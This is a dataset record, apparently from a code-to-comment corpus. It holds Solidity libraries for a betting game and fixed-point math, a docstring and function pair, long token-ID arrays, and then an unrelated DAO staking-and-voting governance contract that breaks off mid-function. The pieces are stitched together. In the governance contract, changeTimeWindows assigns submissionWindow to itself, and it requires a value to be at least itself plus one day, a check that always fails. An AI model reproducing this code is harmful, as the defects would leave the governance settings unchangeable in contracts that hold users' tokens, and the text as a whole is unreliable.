uint256 percentToTakeAsRake;
uint256 potSplit;
FixedPoint.Data miningDifficulty;
FixedPoint.Data frontWindowAdjustmentRatio;
FixedPoint.Data backWindowAdjustmentRatio;
bool isActive;
}
struct Data {
GameMetaDataElement[] array;
}
/* Push adds element as last item in array */
function push (Data storage self, GameMetaDataElement element) internal {
self.array.length = self.array.length.add(1);
self.array[self.array.length.sub(1)] = element;
}
/* ItemAtIndex returns the item at index */
function itemAtIndex (Data storage self, uint256 index) internal view returns(GameMetaDataElement elem) {
/* Can't access something outside of scope of array */
assert(index < self.array.length);
return self.array[index];
}
/* Returns the length of the array */
function length (Data storage self) internal view returns(uint256 len) {
return self.array.length;
}
}
library CompactArray {
using SafeMath for uint256;
struct Element {
uint256 elem;
}
struct Data {
Element[] array;
uint256 len;
uint256 popNextIndex;
}
/* Push adds element as last item in array and returns the index it was inserted at */
function push (Data storage self, Element element) internal returns(uint256 index) {
if(self.array.length == self.len) {
self.array.length = self.array.length.add(1);
}
self.array[self.len] = element;
self.len = self.len.add(1);
return self.len.sub(1);
}
/* Replaces item at index with last item in array and resizes array accordingly */
function removeItemAtIndex (Data storage self, uint256 index) internal {
/* Can't remove something outside of scope of array */
assert(index < self.len);
/* Deleting the last element in array is same as length - 1 */
if(index == self.len.sub(1)) {
self.len = self.len.sub(1);
return;
}
/* Swap last element in array for this index */
Element storage temp = self.array[self.len.sub(1)];
self.array[index] = temp;
self.len = self.len.sub(1);
}
/* Pop returns last element of array and deletes it from array */
function pop (Data storage self) internal returns(Element elem) {
assert(self.len > 0);
// Decrement size
self.len = self.len.sub(1);
// return last item
return self.array[self.len];
}
/* PopNext keeps track of an index that loops through the array and pops the next item so that push pop doesn't necessarily return the item you pushed */
function getNext (Data storage self) internal returns(Element elem) {
assert(self.len > 0);
if(self.popNextIndex >= self.len) {
// If there were regular pops inbetween
self.popNextIndex = self.len.sub(1);
}
Element memory nextElement = itemAtIndex(self, self.popNextIndex);
if(self.popNextIndex == 0) {
self.popNextIndex = self.len.sub(1);
} else {
self.popNextIndex = self.popNextIndex.sub(1);
}
return nextElement;
}
/* ItemAtIndex returns the item at index */
function itemAtIndex (Data storage self, uint256 index) internal view returns(Element elem) {
/* Can't access something outside of scope of array */
assert(index < self.len);
return self.array[index];
}
/* Returns the length of the array */
function length (Data storage self) internal view returns(uint256 len) {
return self.len;
}
}
library UIntSet {
using CompactArray for CompactArray.Data;
struct SetEntry {
uint256 index;
bool active; // because the index can be zero we need another way to tell if we have the entry
}
struct Data {
CompactArray.Data compactArray;
mapping (uint256 => SetEntry) storedValues;
}
/* Returns whether item is contained in dict */
function contains (Data storage self, uint256 element) internal view returns(bool res) {
return self.storedValues[element].active;
}
/* Adds an item to the set */
function insert (Data storage self, uint256 element) internal {
// Don't need to insert element if entry already exists
if(contains(self, element)) {
return;
}
// Create new entry for compact array
CompactArray.Element memory newElem = CompactArray.Element(element);
// Insert new entry into compact array and get where it was inserted
uint256 index = self.compactArray.push(newElem);
// Insert index of entry in compact array into our set
SetEntry memory entry = SetEntry(index, true);
self.storedValues[element] = entry;
}
/* Remove an item from the set */
function removeElement (Data storage self, uint256 element) internal {
// If nothing is stored can return
if(contains(self, element) == false) {
return;
}
// Get index of where element entry is stored in array
uint256 index = self.storedValues[element].index;
// Delete entry from array
self.compactArray.removeItemAtIndex(index);
// Delete entry from mapping
self.storedValues[element].active = false;
// If array still has elements we need to update mapping with new index
if(index < self.compactArray.length()) {
// Get new element stored at deleted index
CompactArray.Element memory swappedElem = self.compactArray.itemAtIndex(index);
// Update mapping to reflect new index
self.storedValues[swappedElem.elem] = SetEntry(index, true);
}
}
/* This utilized compact arrays popnext function to have a rotating pop */
function getNext (Data storage self) internal returns(CompactArray.Element) {
// If nothing is stored can return
return self.compactArray.getNext();
}
/* Returns the current number of items in the set */
function size (Data storage self) internal view returns(uint256 res) {
return self.compactArray.length();
}
function getItemAtIndex (Data storage self, uint256 index) internal view returns(CompactArray.Element) {
return self.compactArray.itemAtIndex(index);
}
}
library Player {
using UIntSet for UIntSet.Data;
using CompactArray for CompactArray.Data;
struct BettingRecord {
address playerAddress;
uint256 gameId;
uint256 wagerAmount;
uint256 bettingRecordId;
uint256 gamePotBeforeBet;
uint256 withdrawnAmount;
uint256 withdrawnPopAmount;
bool isActive;
}
struct Data {
UIntSet.Data bettingRecordIds;
mapping (uint256 => BettingRecord) bettingRecordMapping;
}
/* Contains betting record for a betting record id */
function containsBettingRecordFromId (Data storage self, uint256 bettingRecordId) internal view returns(bool containsBettingRecord) {
return self.bettingRecordIds.contains(bettingRecordId);
}
/* Function that returns a betting record for a betting record id */
function getBettingRecordForId (Data storage self, uint256 bettingRecordId) internal view returns(BettingRecord record) {
if(containsBettingRecordFromId(self, bettingRecordId) == false) {
return ;//BettingRecord(0x0,0,0,0,0,0,false);
}
return self.bettingRecordMapping[bettingRecordId];
}
/* Insert Betting Record into storage */
function insertBettingRecord (Data storage self, BettingRecord record) internal {
// If inserting a record with the same id will override old record
self.bettingRecordMapping[record.bettingRecordId] = record;
self.bettingRecordIds.insert(record.bettingRecordId);
}
/* Retrieve the next betting record */
function getNextRecord (Data storage self) internal returns(BettingRecord record) {
if(self.bettingRecordIds.size() == 0) {
return ;//BettingRecord(0x0,0,0,0,0,0,false);
}
CompactArray.Element memory bettingRecordIdEntry = self.bettingRecordIds.getNext();
return self.bettingRecordMapping[bettingRecordIdEntry.elem];
}
function getBettingRecordAtIndex (Data storage self, uint256 index) internal view returns(BettingRecord record) {
return self.bettingRecordMapping[self.bettingRecordIds.getItemAtIndex(index).elem];
}
/* Delete Betting Record */
function deleteBettingRecordForId (Data storage self, uint256 bettingRecordId) internal {
self.bettingRecordIds.removeElement(bettingRecordId);
}
/* Returns the number of betting records left to be processed */
function unprocessedBettingRecordCount (Data storage self) internal view returns(uint256 size) {
return self.bettingRecordIds.size();
}
}
library BettingRecordArray {
using Player for Player.Data;
using SafeMath for uint256;
struct Data {
Player.BettingRecord[] array;
uint256 len;
}
function resetIndex (Data storage self) internal {
self.len = 0;
}
function pushRecord (Data storage self, Player.BettingRecord record) internal {
if(self.array.length == self.len) {
self.array.length = self.array.length.add(1);
}
self.array[self.len] = record;
self.len = self.len.add(1);
}
function getNextRecord (Data storage self) internal view returns(Player.BettingRecord record) {
if(self.array.length == self.len) {
return;
}
return self.array[self.len];
}
}
library FixedPoint {
using SafeMath for uint256;
using SafeInt for int256;
int256 constant fracBits = 32;
int256 constant scale = 1 << 32;
int256 constant halfScale = scale >> 1;
int256 constant precision = 1000000;
int256 constant e = 11674931554;
int256 constant pi = 13493037704;
int256 constant _2pi = 26986075409;
struct Data {
int256 val;
}
function fromInt256(int256 n) internal pure returns (Data) {
return Data({val: n.mul(scale)});
}
function fromFraction(int256 numerator, int256 denominator) internal pure returns (Data) {
return Data ({
val: numerator.mul(scale).div(denominator)
});
}
function toInt256(Data n) internal pure returns (int256) {
return (n.val * precision) >> fracBits;
}
function toUInt256Raw(Data a) internal pure returns (uint256) {
return uint256(a.val >> fracBits);
}
function add(Data a, Data b) internal pure returns (Data) {
return Data({val: a.val.add(b.val)});
}
function sub(Data a, Data b) internal pure returns (Data) {
return Data({val: a.val.sub(b.val)});
}
function mul(Data a, Data b) internal pure returns (Data) {
int256 result = a.val.mul(b.val).div(scale);
return Data({val: result});
}
function div(Data a, Data b) internal pure returns (Data) {
int256 num = a.val.mul(scale);
return Data({val: num.div(b.val)});
}
function neg(Data a) internal pure returns (Data) {
return Data({val: -a.val});
}
function mod(Data a, Data b) internal pure returns (Data) {
return Data({val: a.val % b.val});
}
function expBySquaring(Data x, Data n) internal pure returns (Data) {
if(n.val == 0) { // exp == 0
return Data({val: scale});
}
Data memory extra = Data({val: scale});
while(true) {
if(n.val == scale) { // exp == 1
return mul(x, extra);
} else if (n.val % (2*scale) != 0) {
extra = mul(extra, x);
n = sub(n, fromInt256(1));
}
x = mul(x, x);
n = div(n, fromInt256(2));
}
}
function sin(Data x) internal pure returns (Data) {
int256 val = x.val % _2pi;
if(val < -pi) {
val += _2pi;
} else if (val > pi) {
val -= _2pi;
}
Data memory result;
if(val < 0) {
result = add(mul(Data({val: 5468522184}), Data({val: val})), mul(Data({val: 1740684682}), mul(Data({val: val}), Data({val: val}))));
if(result.val < 0) {
result = add(mul(Data({val: 966367641}), sub(mul(result, neg(result)), result)), result);
} else {
result = add(mul(Data({val: 966367641}), sub(mul(result, result), result)), result);
}
return result;
} else {
result = sub(mul(Data({val: 5468522184}), Data({val: val})), mul(Data({val: 1740684682}), mul(Data({val: val}), Data({val: val}))));
if(result.val < 0) {
result = add(mul(Data({val: 966367641}), sub(mul(result, neg(result)), result)), result);
} else {
result = add(mul(Data({val: 966367641}), sub(mul(result, result), result)), result);
}
return result;
}
}
function cmp(Data a, Data b) internal pure returns (int256) {
if(a.val > b.val) {
return 1;
} else if(a.val < b.val) {
return -1;
} else {
return 0;
}
}
function log10(Data a) internal pure returns (Data) {
return div(ln(a), ln(fromInt256(10)));
}
function ln(Data a) internal pure returns (Data) {
int256 LOG = 0;
int256 prec = 1000000;
int256 x = a.val.mul(prec) >> fracBits;
while(x >= 1500000) {
LOG = LOG.add(405465);
x = x.mul(2).div(3);
}
x = x.sub(prec);
int256 y = x;
int256 i = 1;
while (i < 10){
LOG = LOG.add(y.div(i));
i = i.add(1);
y = x.mul(y).div(prec);
LOG = LOG.sub(y.div(i));
i = i.add(1);
y = x.mul(y).div(prec);
}
LOG = LOG.mul(scale);
LOG = LOG.div(prec);
return Data({val: LOG});
}
function expRaw(Data a) internal pure returns (Data) {
int256 l1 = scale.add(a.val.div(4));
int256 l2 = scale.add(a.val.div(3).mul(l1).div(scale));
int256 l3 = scale.add(a.val.div(2).mul(l2).div(scale));
int256 l4 = scale.add(a.val.mul(l3).div(scale));
return Data({val: l4});
}
function exp(Data a) internal pure returns (Data) {
int256 pwr = a.val >> fracBits;
int256 frac = a.val.sub(pwr << fracBits);
return mul(expRaw(Data({val: frac})), expBySquaring(Data({val: e}), fromInt256(pwr)));
}
function pow(Data base, Data power) internal pure returns (Data) {
int256 intpwr = power.val >> 32;
int256 frac = power.val.sub(intpwr << fracBits);
return mul(expRaw(mul(Data({val:frac}), ln(base))), expBySquaring(base, fromInt256(intpwr)));
}
}
|
Insert Betting Record into storage */ If inserting a record with the same id will override old record
|
function insertBettingRecord (Data storage self, BettingRecord record) internal {
self.bettingRecordMapping[record.bettingRecordId] = record;
self.bettingRecordIds.insert(record.bettingRecordId);
}
| 5,507,633 |
[
1,
4600,
605,
278,
1787,
5059,
1368,
2502,
342,
971,
21079,
279,
1409,
598,
326,
1967,
612,
903,
3849,
1592,
1409,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
202,
915,
2243,
38,
278,
1787,
2115,
261,
751,
2502,
365,
16,
605,
278,
1787,
2115,
1409,
13,
2713,
288,
203,
202,
202,
2890,
18,
70,
278,
1787,
2115,
3233,
63,
3366,
18,
70,
278,
1787,
2115,
548,
65,
273,
1409,
31,
203,
202,
202,
2890,
18,
70,
278,
1787,
2115,
2673,
18,
6387,
12,
3366,
18,
70,
278,
1787,
2115,
548,
1769,
203,
202,
97,
203,
202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.7.0;
import "./SafeMathTyped.sol";
import "./AbqErc20.sol";
import "./SingleOwnerForward.sol";
enum GovernanceState
{
SubmissionsAccepted,
SubmissionsOpen,
SubmissionsSelection,
VotingStarted,
ProposalConclusion,
AwaitingSelectionCall
}
struct Proposal
{
// CG: Word 0 start.
address proposalAddress; // CG: Word 0; 160 bits total.
uint32 submissionBatchNumber; // CG: Word0; 160 + 32 = 192 bits total.
// CG: Word 0 end.
// CG: Word 1 start.
address proposer;
// CG: Word 1 end.
// CG: Word 2 start.
uint256 votesInSupport; // CG: Word 2; 256 bits total.
// CG: Word 2 full.
// CG: Word 3 start.
uint256 votesInOpposition; // CG: Word 3; 256 bits total.
// CG: Word 3 full.
// CG: Word 4 start.
uint256 proposalDeposit; // CG: Word 4; 256 bits total.
// CG: Word 4 full.
bytes proposalData;
mapping(address => VoteStatus) votesCasted;
}
enum VoteStatus
{
Abstain,
Support,
Oppose
}
struct Stake
{
uint256 amount;
address delegate;
}
/// @notice This is a governance contract for the Aardbanq DAO. All ABQ token holders can stake
/// their tokens and delegate their voting rights to an address, including to themselves.
/// Only one proposal can be voted on to be executed at a time.
/// Voters can stake or unstake their ABQ tokens at anytime using the `stake` and `unstake` method.
/// The protocol for selecting and voting on proposals works as follows:
/// * If there are no pending proposals, then anyone can submit a proposal candidate to be considered provided they pay an ABQ deposit of `proposalDeposit` (which also stores the 18 decimals).
/// * For `submissionWindow` seconds after the first proposal candidate was submitted can submit another proposal candidates by also paying an ABQ deposit of `proposalDeposit` (which also stores the 18 decimals).
/// * When the first proposal candidate is submitted, a proposal to "do nothing" is also automatically created.
/// * During the first `submissionSelectionWindow` seconds after the first proposal candidate was submitted the voters may place their votes with their preferred proposal candidate.
/// * After the first `submissionSelectionWindow` seconds after the first proposal candidate was submitted, the candidate that received the most votes can be made the proposal all voters should vote on, by calling the `selectMostSupportedProposal` function.
/// * In the event of a tie between the candidates for most votes the last candidate will receive presidence. However if the "do nothing" proposal is also tied for most votes, it will always take precedence.
/// * Once a proposal candidate has been established as the proposal, all voters may only vote on that proposal. Voting stays open for `votingWindow` seconds after this.
/// * When `votingWindow` seconds have passed since the proposal candidate has been promoted to the proposal or if the proposal has received more than 50% of all staked votes either for or against it, then the proposal may be executed calling the `resolveProposal` method.
/// * When a propsal is resolved it is considered successful only if more than 50% of all votes on it is in favor if it AND the proposal was resolved within `resolutionWindow` seconds after it was promoted from a proposal candidate to the proposal.
/// * Once the proposal has been resolved a new round of proposal candidates may be submitted again.
/// * All proposal candidates that were not promoted to the proposal and all failed proposals will have their deposits burnt. This is to avoid frivolous and malicious proposals that could cost the voters more gas than the person making the proposal.
/// * All successful proposals will have their deposits returned.
/// A proposal consist of an address and data, that the `daoOwnerContract` delegate calls to the address with the data.
contract StakedVotingGovernance
{
// CG: Word 0 start.
SingleOwnerDelegateCall public daoOwnerContract; // CG: Word 0; 160 bits total.
uint32 public currentSubmissionBatchNumber = 1; // CG: Word 0; 160 + 32 = 192 bits total.
uint64 public submissionStartedDate; // CG: Word 0; 192 + 64 = 256 bits total.
// CG: Word 0 full.
// CG: Word 1 start.
AbqErc20 public token; // CG: Word 1; 160 bits total.
uint64 public votingStartedDate; // CG: Word 1; 160 + 64 = 224 bits total.
uint32 public submissionWindow = 2 days; // CG: Word 1; 224 + 32 = 256 bits.
// CG: Word 1 full.
// CG: Word 2 start.
uint32 public submissionSelectionWindow = 4 days; // CG: Word 2; 32 bits total.
uint32 public votingWindow = 3 days; // CG: Word 2; 32 + 32 = 64 bits total.
uint32 public resolutionWindow = 10 days; // CG: Word 2; 64 + 32 = 96 bits total.
// CG: Word 2 end.
// CG: Word 3 start.
uint256 public burnAmount;
// CG: Word 3 full.
// CG: Word 4 start.
bytes32 public currentProposalHash;
// CG: Word 4 full.
// CG: Word 5 start.
uint256 public totalVotesStaked;
// CG: Word 5 full.
// CG: Word 6 start.
uint256 public proposalDeposit = 100 ether;
// CG: Word 6 full.
bytes32[] public runningProposals;
mapping(bytes32 => Proposal) public proposals;
mapping(address => uint256) public refundAmount;
mapping(address => uint256) public votingPower;
mapping(address => Stake) public stakes;
mapping(address => bytes32) public lastVotedOn;
constructor (SingleOwnerDelegateCall _daoOwnerContract, AbqErc20 _token)
{
daoOwnerContract = _daoOwnerContract;
token = _token;
}
modifier onlyDaoOwner()
{
require(msg.sender == address(daoOwnerContract), "ABQDAO/only-dao-owner");
_;
}
modifier onlyAcceptingProposalsState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.SubmissionsAccepted || governanceState == GovernanceState.SubmissionsOpen, "ABQDAO/submissions-not-allowed");
_;
}
modifier onlyVotingState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.VotingStarted, "ABQDAO/voting-not-allowed");
_;
}
modifier onlyAwaitingSelectionCallState()
{
GovernanceState governanceState = proposalsState();
require(governanceState == GovernanceState.AwaitingSelectionCall, "ABQDAO/selection-call-not-allowed");
_;
}
function changeTimeWindows(uint32 _submissionWindow, uint32 _submissionSelectionWindow, uint32 _votingWindow, uint32 _resolutionWindow)
onlyDaoOwner()
external
{
// CG: ensure all parameters are between [1 days, 31 days] (in seconds).
require(_submissionWindow >= 1 days && _submissionWindow <= 31 days, "ABQDAO/out-of-range");
require(_submissionSelectionWindow >= 1 days && _submissionSelectionWindow <= 31 days, "ABQDAO/out-of-range");
require(_votingWindow >= 1 days && _votingWindow <= 31 days, "ABQDAO/out-of-range");
require(_resolutionWindow >= 1 days && _resolutionWindow <= 31 days, "ABQDAO/out-of-range");
// CG: Ensure dependend windows occur after in the correct order.
// CG: Given the above constraints that these values aren't greater than 31 days (in seconds), we can safely add 1 day (in seconds) without an overflow happening.
require(_submissionSelectionWindow >= (_submissionSelectionWindow + 1 days), "ABQDAO/out-of-range");
require(_resolutionWindow >= (_votingWindow + 1 days), "ABQDAO/out-of-range");
// CG: Set the values.
submissionWindow = submissionWindow;
submissionSelectionWindow = _submissionSelectionWindow;
votingWindow = _votingWindow;
resolutionWindow = _resolutionWindow;
}
function proposalsState()
public
view
returns (GovernanceState _proposalsState)
{
// CG: If no submission has been filed yet, then submissions are eligible.
if (submissionStartedDate == 0)
{
return GovernanceState.SubmissionsAccepted;
}
// CG: Allow submissions for submissionWindow after first submission.
else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionWindow))
{
return GovernanceState.SubmissionsOpen;
}
// CG: Allow selection of to close submissionSelectionWindow after the first submission.
else if (block.timestamp <= SafeMathTyped.add256(submissionStartedDate, submissionSelectionWindow))
{
return GovernanceState.SubmissionsSelection;
}
// CG: If more than submissionSelectionWindow has passed since the submissionStartedDate the voting date should be checked.
else
{
// CG: If voting only happened for votingWindow or less so for, voting is still pending
if (votingStartedDate == 0)
{
return GovernanceState.AwaitingSelectionCall;
}
else if (block.timestamp <= SafeMathTyped.add256(votingStartedDate, votingWindow))
{
return GovernanceState.VotingStarted;
}
// CG: If voting has started more than votingWindow ago, then voting is no longer possible
else
{
return GovernanceState.ProposalConclusion;
}
}
}
function proposalsCount()
public
view
returns (uint256 _proposalsCount)
{
return runningProposals.length;
}
function viewVote(bytes32 _proposalHash, address _voter)
external
view
returns (VoteStatus)
{
return proposals[_proposalHash].votesCasted[_voter];
}
event StakeReceipt(address indexed staker, address indexed delegate, address indexed oldDelegate, bool wasStaked, uint256 amount);
/// @notice Stake `_amount` of tokens from msg.sender and delegate the voting rights to `_delegate`.
/// The tokens have to be approved by msg.sender before calling this method. All tokens staked by msg.sender
/// will be have their voting rights assigned to `_delegate`.
/// @param _delegate The address to delegate voting rights to.
/// @param _amount The amount of tokens to stake.
function stake(address _delegate, uint256 _amount)
external
{
// CG: Transfer ABQ.
bool couldTransfer = token.transferFrom(msg.sender, address(this), _amount);
require(couldTransfer, "ABQDAO/could-not-transfer-stake");
// CG: Get previous stake details.
Stake storage stakerStake = stakes[msg.sender];
uint256 previousStake = stakerStake.amount;
address previousDelegate = stakerStake.delegate;
// CG: Remove previous delegate stake
votingPower[previousDelegate] = SafeMathTyped.sub256(votingPower[previousDelegate], previousStake);
// CG: Increase stake counts.
stakerStake.amount = SafeMathTyped.add256(stakerStake.amount, _amount);
stakerStake.delegate = _delegate;
votingPower[stakerStake.delegate] = SafeMathTyped.add256(votingPower[stakerStake.delegate], stakerStake.amount);
// CG: Update previous vote
bytes32 previousDelegateLastProposal = lastVotedOn[previousDelegate];
bytes32 newDelegateLastProposal = lastVotedOn[stakerStake.delegate];
updateVoteIfNeeded(previousDelegateLastProposal, previousDelegate, previousStake, newDelegateLastProposal, stakerStake.delegate, stakerStake.amount);
// CG: Update running total.
totalVotesStaked = SafeMathTyped.add256(totalVotesStaked, _amount);
emit StakeReceipt(msg.sender, _delegate, previousDelegate, true, _amount);
}
/// @notice Unstake `_amount` tokens for msg.sender and send them to msg.sender.
/// @param _amount The amount of tokens to unstake.
function unstake(uint256 _amount)
external
{
// CG: Decrease stake counts.
Stake storage stakerStake = stakes[msg.sender];
stakerStake.amount = SafeMathTyped.sub256(stakerStake.amount, _amount);
address delegate = stakerStake.delegate;
votingPower[delegate] = SafeMathTyped.sub256(votingPower[delegate], _amount);
// CG: Update previous vote
bytes32 lastProposal = lastVotedOn[delegate];
updateVoteIfNeeded(lastProposal, delegate, _amount, lastProposal, delegate, 0);
// CG: Transfer ABQ back.
bool couldTransfer = token.transfer(msg.sender, _amount);
require(couldTransfer, "ABQDAO/could-not-transfer-stake");
// CG: Update running total.
totalVotesStaked = SafeMathTyped.sub256(totalVotesStaked, _amount);
emit StakeReceipt(msg.sender, delegate, delegate, false, _amount);
}
function updateVoteIfNeeded(bytes32 _proposalHashA, address _voterA, uint256 _voterADecrease, bytes32 _proposalHashB, address _voterB, uint256 _voterBIncrease)
private
{
GovernanceState governanceState = proposalsState();
// CG: Only update votes while voting is still open.
if (governanceState == GovernanceState.SubmissionsOpen || governanceState == GovernanceState.SubmissionsSelection || governanceState == GovernanceState.VotingStarted)
{
// CG: Only update votes for current submission round on proposal A.
Proposal storage proposalA = proposals[_proposalHashA];
if (proposalA.submissionBatchNumber == currentSubmissionBatchNumber)
{
// CG: If voter A has a decrease, decrease it.
if (_voterADecrease > 0)
{
VoteStatus voterAVote = proposalA.votesCasted[_voterA];
if (voterAVote == VoteStatus.Support)
{
proposalA.votesInSupport = SafeMathTyped.sub256(proposalA.votesInSupport, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
else if (voterAVote == VoteStatus.Oppose)
{
proposalA.votesInOpposition = SafeMathTyped.sub256(proposalA.votesInOpposition, _voterADecrease);
emit Ballot(_voterA, _proposalHashA, voterAVote, votingPower[_voterA]);
}
}
}
// CG: Only update votes for current submission round on proposal B.
Proposal storage proposalB = proposals[_proposalHashB];
if (proposalB.submissionBatchNumber == currentSubmissionBatchNumber)
{
// CG: If voter B has an increase, increase it.
if (_voterBIncrease > 0)
{
VoteStatus voterBVote = proposalB.votesCasted[_voterB];
if (voterBVote == VoteStatus.Support)
{
proposalB.votesInSupport = SafeMathTyped.add256(proposalB.votesInSupport, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
else if (voterBVote == VoteStatus.Oppose)
{
proposalB.votesInOpposition = SafeMathTyped.add256(proposalB.votesInOpposition, _voterBIncrease);
emit Ballot(_voterB, _proposalHashB, voterBVote, votingPower[_voterB]);
}
}
}
}
}
event ProposalReceipt(bytes32 proposalHash);
/// @notice Make a poposal for a resolution.
/// @param _executionAddress The address containing the smart contract to delegate call.
/// @param _data The data to send when executing the proposal.
function propose(address _executionAddress, bytes calldata _data)
onlyAcceptingProposalsState()
external
returns (bytes32 _hash)
{
// CG: Get proposal hash and make sure it is not already submitted.
bytes32 proposalHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, _executionAddress, _data));
Proposal storage proposal = proposals[proposalHash];
require(proposal.submissionBatchNumber == 0, "ABQDAO/proposal-already-submitted");
// CG: Transfer deposit.
bool couldTransferDeposit = token.transferFrom(msg.sender, address(this), proposalDeposit);
require(couldTransferDeposit, "ABQDAO/could-not-transfer-deposit");
// CG: If this is the first proposal, add a "do nothing" proposal as the first proposal
if (runningProposals.length == 0)
{
address doNothingAddress = address(0);
bytes memory doNothingData = new bytes(0);
bytes32 doNothingHash = keccak256(abi.encodePacked(currentSubmissionBatchNumber, doNothingAddress, doNothingData));
Proposal storage doNothingProposal = proposals[doNothingHash];
doNothingProposal.proposalAddress = doNothingAddress;
doNothingProposal.proposalDeposit = 0;
doNothingProposal.submissionBatchNumber = currentSubmissionBatchNumber;
doNothingProposal.proposer = address(0);
doNothingProposal.votesInSupport = 0;
doNothingProposal.votesInOpposition = 0;
doNothingProposal.proposalData = doNothingData;
runningProposals.push(doNothingHash);
emit ProposalReceipt(doNothingHash);
submissionStartedDate = uint64(block.timestamp);
}
// CG: Set the proposal data
proposal.proposalAddress = _executionAddress;
proposal.proposalDeposit = proposalDeposit;
proposal.submissionBatchNumber = currentSubmissionBatchNumber;
proposal.proposer = msg.sender;
proposal.votesInSupport = 0;
proposal.votesInOpposition = 0;
proposal.proposalData = _data;
runningProposals.push(proposalHash);
emit ProposalReceipt(proposalHash);
return proposalHash;
}
event VoteOpenedReceipt(bytes32 proposalHash);
/// @notice Select the most supported proposal.
/// @param maxIterations The max iteration to execute. This is used to throttle gas useage per call.
function selectMostSupportedProposal(uint8 maxIterations)
onlyAwaitingSelectionCallState()
external
returns (bool _isSelectionComplete)
{
if (votingStartedDate != 0)
{
return true;
}
while (runningProposals.length > 1 && maxIterations > 0)
{
Proposal storage firstProposal = proposals[runningProposals[0]];
Proposal storage lastProposal = proposals[runningProposals[runningProposals.length - 1]]; // CG: runningProposals.length - 1 will always be >= 1 since we check runningProposals.length > 1 in the while's condition. Hence no overflow will occur.
if (firstProposal.votesInSupport < lastProposal.votesInSupport)
{
burnAmount = SafeMathTyped.add256(burnAmount, firstProposal.proposalDeposit);
runningProposals[0] = runningProposals[runningProposals.length - 1]; // CG: runningProposals.length - 1 will always be >= 1 since we check runningProposals.length > 1 in the while's condition. Hence no overflow will occur.
}
else
{
burnAmount = SafeMathTyped.add256(burnAmount, lastProposal.proposalDeposit);
}
runningProposals.pop();
maxIterations = maxIterations - 1; // CG: We can safely subtract 1 without overflow issues, since the while test for maxIterations > 0;
}
if (runningProposals.length == 1)
{
currentProposalHash = runningProposals[0];
votingStartedDate = uint64(block.timestamp);
runningProposals.pop();
emit VoteOpenedReceipt(currentProposalHash);
return true;
}
else
{
return false;
}
}
event Ballot(address indexed voter, bytes32 proposalHash, VoteStatus vote, uint256 votes);
/// @notice Cast a vote for a specific proposal for msg.sender.
/// @param _proposalHash The hash for the proposal to vote on.
/// @param _vote Indication of if msg.sender is voting in support, opposition, or abstaining.
function vote(bytes32 _proposalHash, VoteStatus _vote)
external
{
// CG: Must be in submission selection or voting state.
GovernanceState state = proposalsState();
require(state == GovernanceState.SubmissionsOpen || state == GovernanceState.SubmissionsSelection || state == GovernanceState.VotingStarted, "ABQDAO/voting-not-open");
// CG: If in voting state, only votes on the current proposal allowed.
if (state == GovernanceState.VotingStarted)
{
require(currentProposalHash == _proposalHash, "ABQDAO/only-votes-on-current-proposal");
}
uint256 voteCount = votingPower[msg.sender];
// CG: Reverse previous vote on the current proposal round.
Proposal storage previousProposal = proposals[lastVotedOn[msg.sender]];
